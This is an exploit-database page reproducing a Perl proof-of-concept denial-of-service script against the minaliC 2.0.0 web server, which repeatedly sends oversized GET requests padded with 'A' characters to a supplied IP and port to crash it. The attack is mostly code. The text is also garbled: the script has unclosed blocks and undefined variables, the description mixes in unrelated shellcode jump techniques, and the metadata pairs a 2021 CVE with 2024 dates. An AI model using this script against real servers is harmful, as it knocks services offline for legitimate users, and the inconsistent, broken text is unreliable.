minaliC 2.0.0 Denied of Service

CVE Category Price Severity
CVE-2021-41110 CWE-400 $500 High
Author Risk Exploitation Type Date
Minalic High Remote 2024-03-24
Our sensors found this exploit at:

Below is a copy:

minaliC 2.0.0 Denied of Service

use Socket;

# Exploit Title: minaliC 2.0.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 03 january 2024
# Vendor Homepage:
# Notification vendor: No reported
# Tested Version: minaliC 2.0.0
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vdeo:

#1. Description

#This technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC


    if ($sis eq "windows"){
    } else {

    print "[+] Exploiting... \n";

my $junk = "\x41" x 245;

my $host = "\x41" x 135;
my $i=0;
while ($i <= 3) {
my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n";

my $sock;
socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n";

my $addr = sockaddr_in($port, inet_aton($ip));
connect($sock, $addr);

send($sock, $buf, length($buf), 0);



    print "[+] Done - Exploited success!!!!!\n\n";
   sub intro {
      print "***************************************************\n";
      print "*       minaliC 2.0.0 - Denied of Service         *\n";
      print "*                                                 *\n";
      print "*            Coded by Fernando Mengali            *\n";
      print "*                                                 *\n";
      print "*      e-mail: fernando.mengalli\       *\n";
      print "*                                                 *\n";
      print "***************************************************\n";

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";


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